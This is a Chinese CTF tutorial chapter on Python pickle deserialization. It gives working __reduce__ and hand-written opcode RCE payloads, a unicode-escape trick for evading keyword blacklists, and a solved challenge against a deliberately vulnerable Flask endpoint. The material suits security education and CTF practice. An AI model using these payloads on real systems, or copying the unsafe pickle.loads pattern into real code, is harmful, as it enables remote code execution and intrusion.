Python反序列化¶
从 PHP 反序列化迁移过来¶
如果你已经学过 PHP反序列化,那么这一章会非常快,因为两者的漏洞模型几乎一一对应:
| PHP | Python | |
|---|---|---|
| 序列化函数 | serialize() |
pickle.dumps() |
| 反序列化函数 | unserialize() |
pickle.loads() |
| 序列化结果 | 文本字符串(O:4:"User":...) |
二进制字节流(栈式虚拟机的指令序列) |
| 可控的触发点 | 魔术方法(__wakeup、__destruct 等) |
__reduce__ / __reduce_ex__ 方法 |
| 利用思路 | 在题目已有的类里找 POP 链 | 直接在 payload 里指定要调用的函数 |
最大的区别在于:PHP 的 unserialize() 只是还原数据结构 **,要执行代码必须依赖题目代码里已存在的类和魔术方法,串出一条 POP 链;而 pickle 的反序列化过程本身就是在一个虚拟机上逐条执行指令**,其中 REDUCE 这类指令的语义就是"调用某个函数"。也就是说,pickle 数据里可以直接携带"请调用 os.system('xxx')"这样的指令,不需要题目代码里存在任何可利用的类——只要服务端对用户输入调用了 pickle.loads(),天然就可能是 RCE。
所以做 Python 反序列化题,核心工作通常不是"找链",而是:
- 找到
pickle.loads()的入口和过滤条件; - 生成(或手写)一段能绕过过滤、执行命令的 pickle 数据。
Python 官方文档对 pickle 的第一条警告就是:"永远不要反序列化来自不可信来源的数据"。
pickle 协议与 opcode 极简入门¶
序列化结果长什么样¶
pickle 目前一共有 0~5 共 6 个协议版本,版本越高越紧凑,但 协议 0 是纯 ASCII 文本,人可以直接读写,CTF 里手写 payload 一般都用它:
看不懂没关系,Python 自带 pickletools 模块可以把字节流反汇编成一条条指令(opcode):
输出:
0: ( MARK
1: l LIST (MARK at 0)
2: p PUT 0
5: I INT 1
8: a APPEND
9: V UNICODE 'a'
12: p PUT 1
15: a APPEND
16: . STOP
highest protocol among opcodes = 0
pickle 是一台栈式虚拟机¶
可以把 pickle.loads() 理解为一台小虚拟机的执行过程:它维护一个 栈,从左到右读取 opcode,逐条执行,直到遇到 .(STOP)时把栈顶元素作为反序列化的结果返回。反汇编上面那段数据,它做的事情是:
(压入一个 MARK 标记;l弹出到 MARK 为止的内容,组装成 list;I1压入整数 1,a把它追加到 list 里;Va压入字符串'a',再a追加;.结束,返回栈顶的 list。
够用的 opcode 清单¶
不需要背全部 opcode,做题只需要认识下面这几个:
| opcode | 名称 | 作用 |
|---|---|---|
c模块名\n函数名\n |
GLOBAL | 把"模块.函数"这个可调用对象压栈(protocol 0 写法) |
\x93 |
STACK_GLOBAL | 从栈上弹出"函数名、模块名"两个字符串,压入对应的可调用对象(protocol 2+) |
( |
MARK | 压入一个标记 |
S'xxx'\n / Vxxx\n |
STRING / UNICODE | 压入字符串(V 支持 \uXXXX 转义,后面绕过要用) |
I123\n |
INT | 压入整数 |
t |
TUPLE | 弹出到 MARK 为止的内容,组成元组压栈 |
R |
REDUCE | 弹出元组和可调用对象,执行 callable(*args),结果压栈 |
i模块名\n函数名\n |
INST | 类似 GLOBAL + REDUCE 的组合,直接调用 |
o |
OBJ | 用 MARK 之后的内容构造对象 |
b |
BUILD | 用栈顶 dict 更新对象的 __dict__ |
. |
STOP | 结束,栈顶就是反序列化结果 |
关键就是 R:栈上放着"可调用对象"和"参数元组",R 就把它们组合成一次真实的函数调用。一段最经典的手写 RCE opcode 长这样:
逐条读:c 压入 os.system;( 打标记;S'echo pwned' 压入字符串;t 组成元组 ('echo pwned',);R 执行 os.system('echo pwned');. 结束。本地验证:
__reduce__ 魔术方法¶
手写 opcode 之前,大多数题目用 __reduce__ 配合 pickle.dumps() 自动生成 payload 就够了。
__reduce__ 是类的魔术方法,定义"这个对象被序列化时应该变成什么"。它最常见的返回形式是一个二元组:
含义是:反序列化时,用 callable(*args) 来重建这个对象。pickle 会为它生成上面那种 c...( t R . 结构的 opcode。换句话说,__reduce__ 就是我们把任意函数调用塞进 pickle 数据的合法接口——它之于 pickle,相当于 POP 链终点那个 eval/system 之于 PHP。
最小示例:
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ('echo pwned',))
data = pickle.dumps(RCE(), protocol=0)
print(data)
# b'cposix\nsystem\np0\n(Vecho pwned\np1\ntp2\nRp3\n.'
pickle.loads(data) # 反序列化的瞬间命令就执行了
注意输出里写的是 cposix\nsystem\n 而不是 os:Linux 上 os.system 的真实归属模块是 posix,pickle 按引用序列化时会记录真实模块名。这一点在做关键词黑名单题目时很重要,后面会用到。
两个补充,做题时知道即可:
__reduce_ex__(self, protocol)和__reduce__作用相同,只是多接收一个协议版本参数,且 优先级更高;两者都存在时以__reduce_ex__为准。__reduce__除了二元组还能返回更多元素(设置对象状态、迭代器等),CTF 里基本用不到,够用了。
构造 RCE payload¶
用 os 执行命令¶
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('cat /flag',))
print(base64.b64encode(pickle.dumps(RCE())))
题目接收形式通常是 base64 或 URL 编码后的字符串(因为 pickle 数据是二进制),本地生成后提交即可。如果要回显结果,用 os.popen('cmd').read 不行——os.popen 返回的是文件对象,pickle 的 R 调用返回什么并不影响命令已经执行这个事实;需要回显一般用 subprocess。
用 subprocess 执行命令并拿到输出¶
import pickle, base64, subprocess
class RCE:
def __reduce__(self):
return (subprocess.check_output, (['cat', '/flag'],))
print(base64.b64encode(pickle.dumps(RCE())))
subprocess.getoutput('cat /flag')、subprocess.call 等同理,挑题目黑名单没拦的用。如果命令执行成功但页面没有回显,可以考虑把 flag 写到题目能读到的位置(比如源码文件、静态目录),或者用带外(DNSLog、反弹 shell)的方式把数据带出来——这和 RCE 一章里无回显命令执行的思路完全一样。
手写 opcode 与 pker¶
什么时候需要手写¶
pickle.dumps() 生成的 opcode 是"标准答案":模块名、函数名以明文出现在字节流里,比如 os、system。一旦题目做了关键词黑名单,dumps 的产物往往直接撞墙。这时就需要 手写 opcode:opcode 只是字节流,同一个语义有很多种写法,黑名单通常挡不住。
手写流程固定三步:
- 按前面的 opcode 表把指令拼成
bytes; - 本地
pickle.loads()验证能执行; base64.b64encode后提交。
例如把 os.system 换成 protocol 2+ 的写法:
import pickle, pickletools
payload = (b"Vos\n" # 压入 'os'
b"Vsystem\n" # 压入 'system'
b"\x93" # STACK_GLOBAL -> os.system
b"(S'echo pwned'\n"
b"tR.")
pickletools.dis(payload) # 检查每条指令是否符合预期
pickle.loads(payload) # 本地验证
pickletools.dis() 在这里就是你的调试器:每条指令执行后栈的变化都能看出来,拼错了立刻能发现。另外 pickletools.optimize() 可以把一段 opcode 压缩到最短,payload 有长度限制时有用。
pker 工具¶
GitHub 上有一个名为 pker 的开源工具,专门解决手写 opcode 的繁琐问题:你用它定义的一套抽象语法(GLOBAL、INST、OBJ、REDUCE、BUILD 等关键字,写法类似函数调用)描述想执行的操作,它自动生成对应的 pickle opcode,memo 编号之类的细节都帮你处理好。遇到需要构造复杂 payload(比如链式 BUILD 改对象属性)时比纯手写省心得多。工具的具体语法以项目 README 为准,安装使用前建议先在本地虚拟机里测试。
过滤绕过¶
黑名单挡的是"名字",不是功能¶
黑名单检查的是 payload 字节流里有没有出现某些关键词,而执行同一个功能往往有多个等价的"入口名字":
os被禁:换subprocess、posix(Linux)、nt(Windows);system被禁:换os.popen、subprocess.getoutput/check_output/call;- 危险函数全被禁但
builtins没禁:试试__import__('os').system(...)的思路,opcode 层面用cbuiltins\n__import__\n先把模块拿回来再组合调用; - 实在没有命令执行函数可用,还可以降级为读写文件:
c__builtin__\nopen\n(Python2)或cbuiltins\nopen\n读 flag,或用codecs、io模块。
sys.modules 被改掉¶
有的题目会这样"禁用"模块:
这会让后续 import os 拿到一个字符串而不是模块,cos\nsystem\n 也就失效了。但这种防护挡不住 别的模块——直接用 subprocess 就行,它没被替换。本书 PHP反序列化 章末尾就有一道这样的 pickle 例题(/ppicklee 路由),可以对照着做。
字符串编码绕过关键词匹配¶
黑名单一般是这样写的:if b'os' in pickle_data。它匹配的是 原始字节,而 opcode 里的字符串是有编码余地的。V(UNICODE)指令支持 \uXXXX 转义:
payload = (b"V\\u006fs\n" # 解码后是 'os',但字节流里没有 "os" 这两个字符
b"Vsyste\\u006d\n" # 解码后是 'system'
b"\x93"
b"(S'echo pwned'\n"
b"tR.")
反序列化时 V 指令会把 \u006f 解码回 'o',STACK_GLOBAL 拿到的还是 os.system,但黑名单的字节匹配扑空了。同理,S 指令里的 \x 转义、长短协议版本之间切换(c 换 \x93+V),都是"同一语义、不同字节"的绕过素材。
RestrictedUnpickler¶
比黑名单更严格的写法是重写 find_class(),只允许白名单模块/函数被反序列化:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == 'builtins' and name in ('dict', 'list'):
return super().find_class(module, name)
raise pickle.UnpicklingError('forbidden')
因为 c、i、\x93 这些指令最终都会走到 find_class(),白名单之外的函数名编码得再花也进不来。这种题目的正确思路不是硬刚 opcode,而是 审计白名单里放了什么:如果白名单里混进了能间接执行代码的东西(比如某些库函数、题目自己写的类),就还有戏;如果白名单只有纯数据结构,那多半考点不在这里,回头找找别的入口。
CTF 例题:一道黑名单过滤的 pickle¶
题目给出了 Web 服务的源码:
from flask import Flask, request
import pickle
import base64
app = Flask(__name__)
blacklist = [b'os', b'system', b'eval', b'exec', b'open',
b'flag', b'subprocess', b'builtins', b'import', b'pickle']
@app.route('/')
def index():
return 'give me some pickles'
@app.route('/pickle', methods=['POST'])
def do_pickle():
data = request.form.get('data', '')
try:
raw = base64.b64decode(data)
for word in blacklist:
if word in raw:
return 'Hacker!'
pickle.loads(raw)
return 'pickle done'
except Exception:
return 'error'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
分析¶
- 入口在
/pickle,POST 参数data经 base64 解码后送进pickle.loads(),典型反序列化点。 - 黑名单很长:
os、system、subprocess、builtins等常用名字全被按字节匹配拦掉了,连flag这个词都不能出现。 - 注意黑名单是 字节匹配,而且
V指令的\uXXXX转义恰好能把任何字符编码成"不含原字符"的字节——突破口在这。
失败的尝试¶
先用标准流程生成 payload:
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('cat /flag',))
print(base64.b64encode(pickle.dumps(RCE())))
提交后返回 Hacker!。原因很明显:序列化结果里明文带着 posix(含 os)、system、cat /flag,一下撞上三个关键词。换 subprocess.getoutput 也一样——subprocess 本身就在黑名单里。
解题:手写 opcode + unicode 转义¶
思路:V 指令把模块名和函数名全部转义掉,让黑名单匹配不到任何关键词;命令里用通配符 /f* 代替 /flag(subprocess.getoutput 走 shell,通配符会展开;这里我们直接用 shell 命令字符串配合 os.system 也一样展开)。
import base64, pickle, pickletools
payload = (b"V\\u006fs\n" # 'os'
b"Vsyste\\u006d\n" # 'system'
b"\x93" # STACK_GLOBAL -> os.system
b"(S'cat /f*'\n" # 命令:/f* 展开为 /flag,且不含 "flag"
b"tR.")
# 本地先验证指令序列正确、命令确实会执行
pickletools.dis(payload)
for word in [b'os', b'system', b'eval', b'exec', b'open',
b'flag', b'subprocess', b'builtins', b'import', b'pickle']:
assert word not in payload, word # 确认不撞黑名单
print(base64.b64encode(payload).decode())
本地验证通过(执行 cat /f*,可用 echo pwned 之类的无害命令先测),且字节流中没有任何黑名单关键词。提交:
页面返回 pickle done,说明命令已执行。本题没有回显,把 flag 带出来的常用办法是写进能访问到的文件再读,例如把命令换成 cp /f* /app/static/x 之类(具体路径看题目环境),或者用带外通道。
回顾整条链路:找入口 → 试标准 __reduce__ payload 撞黑名单 → 定位黑名单是字节匹配 → 用 V 转义 + 通配符手写 opcode 绕过。这也是大多数 pickle 题的通用节奏。